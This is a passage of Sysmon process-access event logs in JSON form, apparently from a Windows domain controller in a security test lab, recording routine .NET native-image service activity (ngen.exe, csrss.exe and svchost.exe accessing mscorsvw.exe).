4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010F5620B00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010F5620B00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010F5620B00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010F5620B00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010F5620B00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010F5620B00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.838\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001093660B00}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.838","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001093660B00}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001093660B00}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001093660B00}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001093660B00}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001093660B00}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A8-5F2D-0000-0010236A0B00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A8-5F2D-0000-0010236A0B00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A8-5F2D-0000-0010236A0B00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A8-5F2D-0000-0010236A0B00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:44.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A8-5F2D-0000-0010236A0B00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 